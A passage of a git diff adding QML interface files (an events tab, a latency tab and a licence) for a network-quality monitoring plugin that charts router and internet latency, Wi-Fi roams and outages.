Math.max(Style.bar.iconSlot, + Math.ceil(textWidth.advanceWidth) + Style.space(10)) + foreground: root.stateColor + useActiveColor: false + tooltipText: { + if (!root.live) return "Nexthop: waiting for the daemon" + if (root.stale) return "Nexthop: no data for " + root.staleForS + " s" + var l = root.live + var name = l.link && (l.link.ssid || l.link.name) || "" + var parts = [name, (l.index !== null ? l.index + " " + l.band : "")] + if (l.local && l.local.p50 !== null && l.wan && l.wan.p50 !== null) + parts.push("local " + l.local.p50 + " ms · wan " + l.wan.p50 + " ms") + return parts.filter(function(p) { return p && p.length }).join("\n") + } + + onPressed: function(b) { + if (b === Qt.MiddleButton) { + // The easiest way to spend a phone's data by accident: a stray + // middle-click saturating the link. On a metered connection this + // opens the panel instead, where the button asks twice. + if (root.live && root.live.metered && root.live.metered.care) + root.open() + else + peakRequest.running = true + } else { + root.togglePanel() + } + } + } +} diff --git a/plugins/io.github.x3me.nexthop/EventsTab.qml b/plugins/io.github.x3me.nexthop/EventsTab.qml new file mode 100644 index 0000000..dc4ff5b --- /dev/null +++ b/plugins/io.github.x3me.nexthop/EventsTab.qml @@ -0,0 +1,580 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import Quickshell.Io +import qs.Commons +import qs.Ui + +// What happened: outages and disruptions with durations and the leg named, +// plus the copy-report affordance — the ISP-ticket artifact. +Column { + id: tab + + required property var panel + + spacing: Style.space(12) + + Component.onCompleted: { + panel.requestEvents("24h") + ribbonProc.command = ["sh", "-c", + "cd \"$1\" && exec python3 -m nexthopd.cli query --window 24h --resolution minute", + "sh", panel.pluginDir] + ribbonProc.running = true + weekProc.command = ["sh", "-c", + "cd \"$1\" && exec python3 -m nexthopd.cli query --window 7d", + "sh", panel.pluginDir] + weekProc.running = true + } + + property var ribbonRows: [] + property var weekDays: [] + + Process { + id: ribbonProc + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: { + try { + var d = JSON.parse(text) + tab.ribbonRows = d.rows || [] + } catch (e) {} + } + } + } + + Process { + id: weekProc + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: { + try { + var d = JSON.parse(text) + tab.weekDays = tab.foldDays(d.rows || []) + } catch (e) {} + } + } + } + + // Hourly rows -> trailing seven local days, averaged experience each. + function foldDays(rows) { + var byDay = {} + for (var i = 0; i < rows.length; i++) { + var r = rows[i] + if (r.idx === null || r.idx === undefined) continue + var d = new Date(r.ts * 1000) + var key = d.getFullYear() * 10000 + (d.getMonth() + 1) * 100 + d.getDate() + var slot = byDay[key] || (byDay[key] = { sum: 0, n: 0, ts: r.ts }) + slot.sum += r.idx + slot.n += 1 + } + var out = [] + var names = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"] + for (var day = 6; day >= 0; day--) { + var when = new Date(Date.now() - day * 86400 * 1000) + var k = when.getFullYear() * 10000 + (when.getMonth() + 1) * 100 + when.getDate() + var s = byDay[k] + out.push({ + name: names[when.getDay()], + idx: s ? Math.round(s.sum / s.n) : null, + }) + } + return out + } + + function bandColor(idx) { + if (idx === null || idx === undefined) + return Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, tab.panel.fg.b, 0.08) + if (idx >= 90) return "#9ece6a" + if (idx >= 80) return "#b9f27c" + if (idx >= 70) return "#e0af68" + if (idx >= 50) return "#eb927b" + return "#f7768e" + } + + readonly property var events: panel.eventsData && panel.eventsData.events + ? panel.eventsData.events : [] + + // Consecutive events of the same kind, this close together, are one + // episode rather than several: a laptop bouncing between two access + // points is a single story, and listing each hop separately buries the + // outages that actually matter under a wall of roams. + readonly property int episodeGapS: 600 + // Beyond this the list stops being readable and the report is the right + // tool. Nothing is discarded — the count of what is not shown is stated. + readonly property int maxRows: 12 + + readonly property var episodes: foldEvents(events) + readonly property var shownEpisodes: episodes.slice(0, maxRows) + readonly property int hiddenEvents: { + var n = 0 + for (var i = maxRows; i < episodes.length; i++) n += episodes[i].count + return n + } + + // Outages and associations are never folded: each one is its own fact. + function groupable(kind) { + return kind === "roam" || kind === "kick" || kind === "drop" + || kind === "rate-drop" || kind === "disruption" + || kind === "icmp-quiet" || kind === "gateway-quiet" + } + + function foldEvents(list) { + var out = [] + for (var i = 0; i < list.length; i++) { + var e = list[i] + var g = out.length ? out[out.length - 1] : null + if (g && g.kind === e.kind && groupable(e.kind) + && (g.oldestTs - e.ts) <= episodeGapS) { + g.count += 1 + g.oldestTs = e.ts + g.members.push(e) + } else { + out.push({kind: e.kind, ts: e.ts, oldestTs: e.ts, + count: 1, members: [e], first: e}) + } + } + return out + } + + // The first four octets are the same across every access point on one + // site, so they carry no information — only the last two identify which + // radio this was. The stored event keeps the full address for the report. + function shortMac(text) { + return String(text).replace( + /\b(?:[0-9a-fA-F]{2}:){4}([0-9a-fA-F]{2}:[0-9a-fA-F]{2})\b/g, "…$1") + } + + function roamTargets(members) { + var seen = [] + for (var i = 0; i < members.length; i++) { + var m = /Roamed to ([0-9a-fA-F:]{17})/.exec(members[i].detail || "") + if (!m) continue + var short = shortMac(m[1]) + if (seen.indexOf(short) < 0) seen.push(short) + } + return seen + } + + // Which access points did the kicking, and every distinct reason given. + function kickSources(members) { + var aps = [], whys = [] + for (var i = 0; i < members.length; i++) { + var m = /Kicked by AP ([0-9a-fA-F:]{17}) \((reason [^)]*)\)/ + .exec(members[i].detail || "") + if (!m) continue + var short = shortMac(m[1]) + if (aps.indexOf(short) < 0) aps.push(short) + if (whys.indexOf(m[2]) < 0) whys.push(m[2]) + } + return {aps: aps, why: whys.length ? whys.join("; ") : null} + } + + function lowestRate(members) { + var low = null + for (var i = 0; i < members.length; i++) { + var m = /dropped to (\d+)/.exec(members[i].detail || "") + if (m && (low === null || Number(m[1]) < low)) low = Number(m[1]) + } + return low + } + + function describeEpisode(g) { + if (g.count === 1) return describe(g.first) + if (g.kind === "roam") { + var aps = roamTargets(g.members) + return "Roamed " + g.count + "×" + + (aps.length > 1 ? " between " + aps.join(" ↔ ") + : aps.length === 1 ? " to " + aps[0] : "") + } + if (g.kind === "kick") { + var k = kickSources(g.members) + return "Kicked by AP " + g.count + "\u00d7" + + (k.aps.length ? " \u2014 " + k.aps.join(", ") : "") + + (k.why ? " (" + k.why + ")" : "") + } + if (g.kind === "drop") + return "Dropped by this machine " + g.count + "\u00d7" + if (g.kind === "rate-drop") { + var low = lowestRate(g.members) + return "Tx rate dropped " + g.count + "×" + + (low !== null ? ", lowest " + low + " Mbps" : "") + } + return describe(g.first) + " · " + g.count + "×" + } + + // A folded episode reports how long it went on; a single event reports + // its own duration, which for an instant event is nothing. + function episodeDuration(g) { + if (g.count === 1) return duration(g.first) + var s = g.ts - g.oldestTs + if (s < 60) return s + "s" + if (s < 3600) return Math.floor(s / 60) + "m" + return Math.floor(s / 3600) + "h " + Math.floor((s % 3600) / 60) + "m" + } + + property bool copied: false + + function describe(e) { + if (e.kind === "outage" && e.leg === "wan") + return "No internet. The router still answered, so the fault was upstream." + if (e.kind === "outage" && e.leg === "local") + return "Router unreachable — nothing on the local network answered." + return shortMac(e.detail || e.kind) + } + + function duration(e) { + if (e.ended_ts === e.ts) return "\u2014" + if (!e.ended_ts) return "ongoing" + var s = e.ended_ts - e.ts + if (s < 60) return s + "s" + if (s < 3600) return Math.floor(s / 60) + "m " + (s % 60) + "s" + return Math.floor(s / 3600) + "h " + Math.floor((s % 3600) / 60) + "m" + } + + Item { + width: parent.width + height: ribbonLabel.implicitHeight + + Text { + id: ribbonLabel + textFormat: Text.PlainText + text: "EXPERIENCE, LAST 24 HOURS" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: "1-minute buckets" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + Canvas { + id: ribbon + width: parent.width + height: Style.space(22) + + readonly property var rows: tab.ribbonRows + onRowsChanged: requestPaint() + onWidthChanged: requestPaint() + + onPaint: { + var ctx = getContext("2d") + ctx.reset() + ctx.clearRect(0, 0, width, height) + // The unmonitored floor: minutes with no data stay this dark strip. + ctx.fillStyle = Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, + tab.panel.fg.b, 0.06) + ctx.fillRect(0, 0, width, height) + var start = Date.now() / 1000 - 86400 + var slice = width / 1440 + for (var i = 0; i < rows.length; i++) { + var r = rows[i] + if (r.idx === null || r.idx === undefined) continue + var x = (r.ts - start) / 86400 * width + if (x < 0 || x > width) continue + ctx.fillStyle = tab.bandColor(r.idx) + ctx.fillRect(x, 0, Math.max(1, slice + 0.5), height) + } + } + } + + Item { + width: parent.width + height: axisLeft.implicitHeight + + Text { + id: axisLeft + textFormat: Text.PlainText + text: { + var d = new Date(Date.now() - 86400 * 1000) + return d.toLocaleString(Qt.locale(), "HH:mm") + " yest." + } + color: Qt.darker(tab.panel.dim, 1.2) + font.family: tab.panel.fontFamily + font.pixelSize: Style.fontPx(0.75) + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: "now" + color: Qt.darker(tab.panel.dim, 1.2) + font.family: tab.panel.fontFamily + font.pixelSize: Style.fontPx(0.75) + } + } + + Row { + spacing: Style.space(12) + + component BandKey: Row { + property color tint: "white" + property string label: "" + spacing: Style.space(5) + Rectangle { + width: Style.space(8); height: Style.space(8) + color: parent.tint + anchors.verticalCenter: parent.verticalCenter + } + Text { + textFormat: Text.PlainText + text: parent.label + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + anchors.verticalCenter: parent.verticalCenter + } + } + + BandKey { tint: "#9ece6a"; label: "90+" } + BandKey { tint: "#b9f27c"; label: "80" } + BandKey { tint: "#e0af68"; label: "70" } + BandKey { tint: "#eb927b"; label: "50" } + BandKey { tint: "#f7768e"; label: "under 50" } + } + + PanelSeparator { width: parent.width } + + Text { + textFormat: Text.PlainText + text: "LAST 7 DAYS" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + Row { + width: parent.width + spacing: Style.space(8) + readonly property real cell: (width - Style.space(8) * 6) / 7 + + Repeater { + model: tab.weekDays + + Column { + id: dayCol + required property var modelData + width: parent.cell + spacing: Style.space(4) + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: dayCol.modelData.idx === null ? "·" : String(dayCol.modelData.idx) + color: dayCol.modelData.idx === null + ? tab.panel.dim : tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + Rectangle { + width: parent.width + height: Style.space(30) + color: Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, tab.panel.fg.b, 0.07) + + Rectangle { + anchors.bottom: parent.bottom + width: parent.width + height: dayCol.modelData.idx === null + ? 0 : parent.height * Math.max(0.08, dayCol.modelData.idx / 100) + color: tab.bandColor(dayCol.modelData.idx) + } + } + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: dayCol.modelData.name + color: Qt.darker(tab.panel.dim, 1.2) + font.family: tab.panel.fontFamily + font.pixelSize: Style.fontPx(0.75) + } + } + } + } + + PanelSeparator { width: parent.width } + + Item { + width: parent.width + height: eventsLabel.implicitHeight + + Text { + id: eventsLabel + textFormat: Text.PlainText + text: "WHAT HAPPENED · LAST 24 H" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: tab.events.length === 0 ? "" : + tab.events.length + (tab.events.length === 1 ? " event" : " events") + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + Text { + textFormat: Text.PlainText + visible: tab.events.length === 0 + text: "Nothing to report. A quiet log is the good outcome." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Column { + width: parent.width + spacing: Style.space(9) + + Repeater { + model: tab.shownEpisodes + + Row { + id: eventRow + required property var modelData + width: parent.width + spacing: Style.space(10) + + readonly property color tone: { + var k = modelData.kind + // Two link events keep colours of their own: a roam is purple + // because it is neither good nor bad, an association is the link + // coming up. Everything else takes the severity the daemon stored + // WITH the event, so a kind added on the daemon side arrives + // coloured. This used to be a second table keyed by kind, and + // 0.2.4's gateway-quiet shipped warn-toned in the database and + // accent-toned here because that table never learned of it. + if (k === "roam") return "#bb9af7" + if (k === "associate") return tab.panel.okTone + var s = modelData.first ? modelData.first.severity : undefined + if (s === "critical") return Color.urgent + if (s === "warn") return tab.panel.warnTone + // Rows written before 0.2.13 stored every link fault as "info". + if (k === "kick" || k === "drop" || k === "rate-drop") + return tab.panel.warnTone + return Color.accent + } + + Text { + textFormat: Text.PlainText + width: Style.space(64) + text: { + var d = new Date(eventRow.modelData.ts * 1000) + return d.toLocaleString(Qt.locale(), "ddd HH:mm") + } + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + + Rectangle { + width: Style.space(5) + height: Style.space(5) + color: eventRow.tone + anchors.verticalCenter: parent.verticalCenter + } + + Text { + textFormat: Text.PlainText + width: parent.width - Style.space(64) - Style.space(5) + - Style.space(54) - Style.space(10) * 3 + text: tab.describeEpisode(eventRow.modelData) + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Text { + textFormat: Text.PlainText + width: Style.space(54) + horizontalAlignment: Text.AlignRight + text: tab.episodeDuration(eventRow.modelData) + color: eventRow.modelData.count === 1 && !eventRow.modelData.first.ended_ts + ? Color.urgent : tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + } + } + + Text { + width: parent.width + visible: tab.hiddenEvents > 0 + textFormat: Text.PlainText + text: "+ " + tab.hiddenEvents + " earlier " + + (tab.hiddenEvents === 1 ? "event" : "events") + + " — the copied report has the full list." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + PanelSeparator { width: parent.width } + + Item { + width: parent.width + height: Math.max(copyHint.implicitHeight, copyButton.height) + + Text { + id: copyHint + textFormat: Text.PlainText + width: parent.width - copyButton.width - Style.space(12) + anchors.verticalCenter: parent.verticalCenter + text: "Copies a plain-text summary of the last 24 hours — timestamps, " + + "both legs, loss and events. The thing an ISP asks for." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + Rectangle { + id: copyButton + anchors.right: parent.right + anchors.verticalCenter: parent.verticalCenter + width: copyText.implicitWidth + Style.space(24) + height: Style.space(28) + color: copyHover.hovered + ? Style.hoverFillFor(tab.panel.fg, Color.accent) + : Style.normalFillFor(tab.panel.fg, Color.accent) + border.width: Style.normalBorderWidth + border.color: Style.normalBorderFor(tab.panel.fg, Color.accent) + + Text { + id: copyText + textFormat: Text.PlainText + anchors.centerIn: parent + text: tab.copied ? "󰄬 Copied" : "󰆏 Copy report" + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + HoverHandler { id: copyHover } + TapHandler { + onTapped: { + tab.panel.copyReport("24h") + tab.copied = true + copiedReset.restart() + } + } + Timer { + id: copiedReset + interval: 2000 + onTriggered: tab.copied = false + } + } + } +} diff --git a/plugins/io.github.x3me.nexthop/LICENSE b/plugins/io.github.x3me.nexthop/LICENSE new file mode 100644 index 0000000..039f4e4 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Extreme Labs + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/plugins/io.github.x3me.nexthop/LatencyTab.qml b/plugins/io.github.x3me.nexthop/LatencyTab.qml new file mode 100644 index 0000000..e4a9d74 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/LatencyTab.qml @@ -0,0 +1,777 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import qs.Commons +import qs.Ui + +// Latency in detail: window picker, the two-leg chart at full height, and +// the per-leg statistics table. +Column { + id: tab + + required property var panel + + spacing: Style.space(12) + + // The stats-table vocabulary, declared once for every table in this tab. + // There were three identical copies of these three components, scoped + // inside their own Grid, plus three formatters differing only in which + // dash they printed for a missing value — the "fix it everywhere" trap + // readout.js already sprang once. A missing figure is the em dash + // throughout now, which is the panel's own grammar for "no value". + component StatHead: Text { + textFormat: Text.PlainText + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + horizontalAlignment: Text.AlignRight + } + component StatName: Text { + textFormat: Text.PlainText + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + component StatVal: Text { + textFormat: Text.PlainText + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + horizontalAlignment: Text.AlignRight + } + + function ms(v) { + return v === null || v === undefined ? "\u2014" : v.toFixed(1) + " ms" + } + function pct(v) { + return v === null || v === undefined ? "\u2014" + : (v * 100).toFixed(2) + " %" + } + + Component.onCompleted: panel.requestTests() + + // The last peak test that captured latency both ways. + readonly property var loadTest: { + var tests = panel.testsData && panel.testsData.tests ? panel.testsData.tests : [] + for (var i = 0; i < tests.length; i++) { + var t = tests[i] + if (t.kind === "peak" && t.ok && t.ping_idle !== null && t.ping_loaded !== null) + return t + } + return null + } + // A peak test whose loaded latency came out BELOW its idle latency did + // not measure the link under load: a queue cannot make packets arrive + // sooner. The old code clamped the difference at zero, which graded that + // A+ and handed back the best possible verdict on an unusable + // measurement. Withhold it instead — the same wrong-direction rule the + // daemon applies to the loaded/idle ratio. + readonly property bool loadTestUsable: loadTest + && loadTest.ping_idle > 0 + && loadTest.ping_loaded >= loadTest.ping_idle * 0.95 + + readonly property real addedMs: loadTestUsable + ? Math.max(0, loadTest.ping_loaded - loadTest.ping_idle) : 0 + // Waveform's grading of latency added under load. + readonly property string bloatGrade: { + if (!loadTestUsable) return "" + if (addedMs < 5) return "A+" + if (addedMs < 30) return "A" + if (addedMs < 60) return "B" + if (addedMs < 200) return "C" + if (addedMs < 400) return "D" + return "F" + } + readonly property color bloatTone: { + if (bloatGrade === "A+" || bloatGrade === "A") return panel.okTone + if (bloatGrade === "B" || bloatGrade === "C") return panel.warnTone + return Color.urgent + } + + // The kernel's timing for the machine's own TCP connections, or null while + // too few qualify — the daemon publishes nothing rather than a + // distribution drawn from a handful of sockets. + readonly property var sockets: panel.live ? panel.live.sockets : null + + readonly property string socketsNote: { + if (!sockets) return "" + var q = sockets.queue_p50 + var head = "Measured from your own traffic, no probe. " + if (q === null || q === undefined) return head + // Deliberately a claim about the ABSOLUTE delay, not its share of the + // round trip: a socket to another continent is mostly distance, and + // saying "almost none of it is queueing" there would be false. + if (q < 10) return head + "Queueing is a few milliseconds at most, so " + + "nothing on the path is holding your traffic up. The rest of each " + + "round trip is distance to the servers themselves." + if (q < 30) return head + "There is real queueing on the path now \u2014 " + + "enough for a video call to start feeling it while something else " + + "is downloading." + return head + "Queueing dominates what your apps feel. Something on the " + + "path is holding packets \u2014 the legs above say which side of the " + + "router it is on." + } + + // What the instruments line says when folded shut. A count is worth more + // than the word "instruments" on its own, so the collapsed state still + // carries the fact most worth knowing: how many are feeding the score. + readonly property string instrumentSummary: { + var ins = panel.live && panel.live.instruments ? panel.live.instruments : [] + if (!ins.length) return "NOT YET MEASURED" + var scored = 0, quarantined = 0 + for (var i = 0; i < ins.length; i++) { + if (ins[i].active) scored++ + else if (ins[i].quarantined) quarantined++ + } + var parts = [scored + " SCORED"] + var standby = ins.length - scored - quarantined + if (standby > 0) parts.push(standby + " STANDBY") + if (quarantined > 0) parts.push(quarantined + " QUARANTINED") + return parts.join(" \u00b7 ") + } + + // The idle/loaded split, published on `lag`. Null until enough probes have + // landed on each side of it to be worth comparing. + readonly property var underLoad: { + var l = panel.live && panel.live.lag ? panel.live.lag : null + if (!l || l.loaded_p50 === null || l.loaded_p50 === undefined) return null + return l + } + + // Collapsed, this line is the block: typical and worst while the link was + // actually carrying traffic, which is the pair the headline 30 s window + // averages away. + readonly property string underLoadSummary: { + var u = underLoad + if (!u) return "NOT YET MEASURED" + var p50 = u.loaded_p50 !== null && u.loaded_p50 !== undefined + ? Math.round(u.loaded_p50) : null + var p95 = u.loaded_p95 !== null && u.loaded_p95 !== undefined + ? Math.round(u.loaded_p95) : null + if (p50 === null) return "NOT YET MEASURED" + var out = p50 + " MS TYPICAL" + if (p95 !== null) out += " \u00b7 " + p95 + " WORST" + return out + } + + readonly property string underLoadNote: { + var u = underLoad + if (!u) return "" + var parts = [] + if (u.loaded_samples !== undefined) + parts.push(u.loaded_samples + " of " + + (u.loaded_samples + (u.idle_samples || 0)) + " probes landed while " + + "the link was carrying traffic") + // Depth is what everyone reports. Duration is what you feel after the + // download has finished, and it is the half nobody shows. + if (u.drain_ms !== null && u.drain_ms !== undefined) { + var secs = (u.drain_ms / 1000).toFixed(1) + parts.push(u.drain_settled + ? "the queue drained " + secs + " s after traffic stopped" + : "still above its quiet level " + secs + " s after traffic stopped") + } + return parts.join(". ") + "." + } + + readonly property var windows: ["5m", "30m", "6h", "24h", "7d"] + property string window: "30m" + + // 5m/30m paint straight from recent.json; longer windows query history. + readonly property bool fromRecent: window === "5m" || window === "30m" + + onWindowChanged: if (!fromRecent) panel.requestHistory(window) + + readonly property var chartPoints: { + if (fromRecent) { + var pts = panel.recentPoints + if (window === "5m") { + var cut = Date.now() / 1000 - 300 + pts = pts.filter(function(p) { return p.t >= cut }) + } + return pts + } + var h = panel.history + if (!h || !h.rows || panel.historyWindow !== window) return [] + return h.rows.map(function(r) { + return { + t: r.ts, + local: r.local_p50, + total: (r.local_p50 !== null && r.wan_p50 !== null) + ? r.local_p50 + r.wan_p50 : null, + loss: ((r.local_loss || 0) + (r.wan_loss || 0)) > 0 + ? (r.local_loss || 0) + (r.wan_loss || 0) : null, + } + }) + } + + Row { + spacing: Style.space(5) + + Repeater { + model: tab.windows + + Rectangle { + id: pill + required property string modelData + readonly property bool selected: tab.window === modelData + + width: pillLabel.implicitWidth + Style.space(22) + height: Style.space(22) + color: selected + ? Style.selectedFillFor(tab.panel.fg, Color.accent) + : (pillHover.hovered + ? Style.hoverFillFor(tab.panel.fg, Color.accent) + : Style.normalFillFor(tab.panel.fg, Color.accent)) + border.width: selected ? 0 : Style.normalBorderWidth + border.color: Style.normalBorderFor(tab.panel.fg, Color.accent) + + Text { + id: pillLabel + textFormat: Text.PlainText + anchors.centerIn: parent + text: pill.modelData.toUpperCase() + color: pill.selected ? tab.panel.fg : tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + HoverHandler { id: pillHover } + TapHandler { onTapped: tab.window = pill.modelData } + } + } + } + + Text { + textFormat: Text.PlainText + visible: !tab.fromRecent && tab.panel.historyLoading + text: "loading…" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + + LegChart { + width: parent.width + height: Style.space(140) + points: tab.chartPoints + wanColor: Color.accent + localColor: tab.panel.dim + minScaleMs: 10 + showScale: true + fontFamily: tab.panel.fontFamily + } + + Row { + spacing: Style.space(16) + + component LegendEntry: Row { + property color tint: "white" + property string label: "" + spacing: Style.space(6) + Rectangle { + width: Style.space(10); height: 2 + color: parent.tint + anchors.verticalCenter: parent.verticalCenter + } + Text { + textFormat: Text.PlainText + text: parent.label + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + anchors.verticalCenter: parent.verticalCenter + } + } + + LegendEntry { tint: Color.accent; label: "wan leg (router → internet)" } + LegendEntry { tint: tab.panel.dim; label: "local leg (you → router)" } + } + + PanelSeparator { width: parent.width } + + // Stats table: rows of metric, local, wan — from live.json's 30 s window. + Grid { + width: parent.width + columns: 3 + columnSpacing: Style.space(14) + rowSpacing: Style.space(6) + + readonly property real cell: (width - Style.space(14) * 2) / 3 + readonly property var local: tab.panel.live ? tab.panel.live.local : null + readonly property var wan: tab.panel.live ? tab.panel.live.wan : null + + + StatHead { width: parent.cell; text: "LAST 30 S" ; horizontalAlignment: Text.AlignLeft } + StatHead { width: parent.cell; text: "LOCAL LEG" } + StatHead { width: parent.cell; text: "WAN LEG" } + + StatName { width: parent.cell; text: "median" } + StatVal { width: parent.cell; text: tab.ms(parent.local ? parent.local.p50 : null) } + StatVal { width: parent.cell; text: tab.ms(parent.wan ? parent.wan.p50 : null) } + + StatName { width: parent.cell; text: "p95" } + StatVal { width: parent.cell; text: tab.ms(parent.local ? parent.local.p95 : null) } + StatVal { width: parent.cell; text: tab.ms(parent.wan ? parent.wan.p95 : null) } + + StatName { width: parent.cell; text: "worst" } + StatVal { width: parent.cell; text: tab.ms(parent.local ? parent.local.max : null) } + StatVal { width: parent.cell; text: tab.ms(parent.wan ? parent.wan.max : null) } + + StatName { width: parent.cell; text: "jitter" } + StatVal { width: parent.cell; text: tab.ms(parent.local ? parent.local.jitter : null) } + StatVal { width: parent.cell; text: tab.ms(parent.wan ? parent.wan.jitter : null) } + + StatName { width: parent.cell; text: "loss" } + StatVal { + width: parent.cell + text: tab.pct(parent.local ? parent.local.loss : null) + color: parent.local && parent.local.loss > 0 ? tab.panel.warnTone : tab.panel.fg + } + StatVal { + width: parent.cell + text: tab.pct(parent.wan ? parent.wan.loss : null) + color: parent.wan && parent.wan.loss > 0 ? tab.panel.warnTone : tab.panel.fg + } + } + + PanelSeparator { width: parent.width } + + // ---- what the machine's own connections are experiencing ---------------- + // The table above is our probe. This is the kernel's own timing for the + // user's real TCP traffic to their real destinations: no probe, no + // privilege. `floor` is the lowest round trip each path has ever shown, so + // "queueing" is the delay left once distance is divided out — which is the + // only figure that compares a socket next door with one on another + // continent. + Text { + textFormat: Text.PlainText + text: "AS YOUR APPS SEE IT" + + (tab.sockets ? " \u00b7 " + tab.sockets.sockets + " CONNECTIONS" : "") + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + Text { + textFormat: Text.PlainText + visible: !tab.sockets + width: parent.width + wrapMode: Text.WordWrap + text: "Not enough measured connections yet. This fills in once a few " + + "apps are talking over TCP." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + + Grid { + width: parent.width + visible: !!tab.sockets + columns: 3 + columnSpacing: Style.space(14) + rowSpacing: Style.space(6) + + readonly property real cell: (width - Style.space(14) * 2) / 3 + readonly property var s: tab.sockets + + + StatHead { width: parent.cell; text: "TCP, LIVE"; horizontalAlignment: Text.AlignLeft } + StatHead { width: parent.cell; text: "TYPICAL" } + StatHead { width: parent.cell; text: "WORST" } + + StatName { width: parent.cell; text: "round trip" } + StatVal { width: parent.cell; text: tab.ms(parent.s ? parent.s.rtt_p50 : null) } + StatVal { width: parent.cell; text: tab.ms(parent.s ? parent.s.rtt_p95 : null) } + + StatName { width: parent.cell; text: "path floor" } + StatVal { width: parent.cell; text: tab.ms(parent.s ? parent.s.floor_p50 : null) } + StatVal { width: parent.cell; text: "\u2014" } + + StatName { width: parent.cell; text: "queueing" } + StatVal { + width: parent.cell + text: tab.ms(parent.s ? parent.s.queue_p50 : null) + color: parent.s && parent.s.queue_p50 > 30 ? tab.panel.warnTone : tab.panel.fg + } + StatVal { + width: parent.cell + text: tab.ms(parent.s ? parent.s.queue_p95 : null) + color: parent.s && parent.s.queue_p95 > 60 ? tab.panel.warnTone : tab.panel.fg + } + } + + Text { + textFormat: Text.PlainText + visible: !!tab.sockets + width: parent.width + wrapMode: Text.WordWrap + text: tab.socketsNote + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + + PanelSeparator { width: parent.width } + + // Folded shut by default: four rows and a paragraph is a lot of the tab's + // height for something that only matters when you are asking which probe + // produced the number. The header still reports the count, and the whole + // row is the control — no separate button, no extra line. + Item { + width: parent.width + height: instHeader.implicitHeight + + Text { + id: instHeader + textFormat: Text.PlainText + text: "INSTRUMENTS \u00b7 " + (tab.panel.instrumentsExpanded + ? "WHAT MEASURES THE INTERNET LEG" : tab.instrumentSummary) + color: instHover.hovered ? tab.panel.fg : tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + Text { + textFormat: Text.PlainText + anchors.right: parent.right + anchors.verticalCenter: instHeader.verticalCenter + // nf-md-chevron_down / nf-md-chevron_right + text: tab.panel.instrumentsExpanded ? "\u{f0140}" : "\u{f0142}" + color: instHover.hovered ? tab.panel.fg : tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + + HoverHandler { id: instHover } + TapHandler { + onTapped: tab.panel.instrumentsExpanded = !tab.panel.instrumentsExpanded + } + } + + // The bench: the two with the fewest losses and 